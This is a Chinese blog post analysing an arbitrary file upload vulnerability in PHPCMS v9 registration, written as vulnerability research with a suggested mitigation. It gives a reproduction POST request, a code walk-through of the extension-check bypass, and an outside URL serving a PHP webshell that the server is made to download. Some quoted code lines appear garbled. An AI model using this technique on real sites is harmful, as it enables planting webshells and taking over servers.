PHPCMS最新版任意文件上传漏洞分析 2017-04-13 #phpcms #任意文件上传
前几天就听朋友说PHPCMS最新版出了几个洞,有注入还有任意文件上传,注入我倒不是很惊讶,因为phpcms只要拿到了authkey注入就一大堆……
任意文件上传倒是很惊讶,但是小伙伴并没有给我exp,今天看到了EXP,但是没有详细分析,那我就自己分析一下好啦。
首先去官网下一下最新版的程序,搭建起来。
为了方便各位小伙伴复现,这里附上最新版的下载地址:
链接: https://pan.baidu.com/s/1geNQfyb 密码: gxsd
漏洞复现
漏洞复现的办法是先打开注册页面,然后向注册页面POST如下payload:
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=&dosubmit=1&protocol=
然后就会报错并返回shell地址:
然后就可以连接啦。
漏洞分析
通过复现过程可以看到漏洞URL为:
http://phpcms.localhost/index.php?m=member&c=index&a=register&siteid=1
可以确定是member模块的问题,以前我分析过phpcms的程序,所以就不从index.php
看了,我们直接去打开member模块的控制器文件如下:
/Users/striker/www/phpcmsv9/phpcms/modules/member/index.php
方法应该是register
,我们定位到这里的函数:
首先是获取了一个$siteid
然后加载了一些配置,再判断是否存在$_POST['dosubmit']
,如果存在则进入到注册流程。
通过跟进发现跟我们漏洞有关的代码应该是从129行开始:
//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
其中第134行从POST请求中传入了我们EXP的关键参数$_POST['info']
:
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
但使用new_html_special_chars
函数过滤了一遍,我们来跟进下这个函数都干了些什么事情。
function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
return $string;
}
好吧,只是用了htmlspecialchars
函数来转义HTML特殊字符,影响不是特别大,继续往下跟,135行调用$member_input->get()
方法进行了处理:
$user_model_info = $member_input->get($_POST['info']);
get方法不是很长,这里把代码贴出来:
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}
先调用了trim_script
方法处理了一下$data
,跟进查看:
function trim_script($str) {
if(is_array($str)){
foreach ($str as $key => $val){
$str[$key] = trim_script($val);
}
}else{
$str = preg_replace ( '/\]*?)\>/si', '<\\1script\\2>', $str );
$str = preg_replace ( '/\]*?)\>/si', '<\\1iframe\\2>', $str );
$str = preg_replace ( '/\]*?)\>/si', '<\\1frame\\2>', $str );
$str = str_replace ( 'javascript:', 'javascript:', $str );
}
return $str;
}
好吧,只是进行了部分正则替换,看样子跟我们本次要谈的漏洞关系不是特别大,继续往下看。
get函数中有个关键的地方是if(is_array($data))
我们payload中的infoj就是个数组,所以能走进这个if条件中,继续跟。
先是用foreach
进行遍历$info
,键名为$field
,键值为$value
,首先用safe_replace
进行了一次安全替换:
$field = safe_replace($field);
跟safe_replace
函数看看:
/**
* 安全过滤函数
*
* @param $string
* @return string
*/
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
将部分字符替换为空了,我们继续往下跟,发现geth方法中这两行很关键,很有可能跟漏洞相关:
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
先是获取了一个$func
,然后判断方法如果存在就带入这个函数,我这里用的debug模式,可以直接看到最终的$func
是editor。
然而实际上这个editor是存在数据库中v9_model_field
表中的。
我们继续跟进editor
方法:
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
然后这篇文章的高潮部分来了!!!!
看这里:
$value = $this->attachment->download('content', $value,$watermark_enable);
把$value
,也就是我们的info[content]
带入到了$this->attachment->download
函数!继续跟!!
整段函数如下:
/**
* 附件下载
* Enter description here ...
* @param $field 预留字段
* @param $value 传入下载内容
* @param $watermark 是否加入水印
* @param $ext 下载扩展名
* @param $absurl 绝对路径
* @param $basehref
*/
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
先是设置了一些参数,然后把我们的payload带入了一个new_stripslashes
函数:
/**
* 返回经stripslashes处理过的字符串或数组
* @param $string 需要处理的字符串或数组
* @return mixed
*/
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
进行了一个stripslashes
操作。
这行也是关键的一步:
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
这里匹配了src
或href
中文件的文件名,不过后缀为$ext
,其中$ext
的值为:gif|jpg|jpeg|bmp|png
不过匹配的并不严格,还是有办法可以绕过的,如图:
这一步被绕过,下面应该就是下载文件了吧。。。
随后在这一行带入了函数fillurl
:
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
在fillurl
中还很贴心的给我们去掉了#
后的内容:
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
这个时候$remotefileurls
的值已然是http://files.hackersb.cn/webshell/antSword-shells/php_assert.php
随后便进行了万恶的下载:
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
其中$upload_func
等同于php的copy
函数。
然而:
而fopen
一般都是可用的,如果开启了allow_url_fopen
,这个漏洞就构成了,然而大部分环境都默认开启了allow_url_fopen
。
最终在插入注册信息时因为混入了未知的参数而导致插入失败,报错就显示出了这个未知的参数 23333
至此,该漏洞分析完成。
漏洞修复
官方目前仍未发布修复补丁。
临时修复方案可以考虑禁用uploadfile
目录下的PHP执行权限。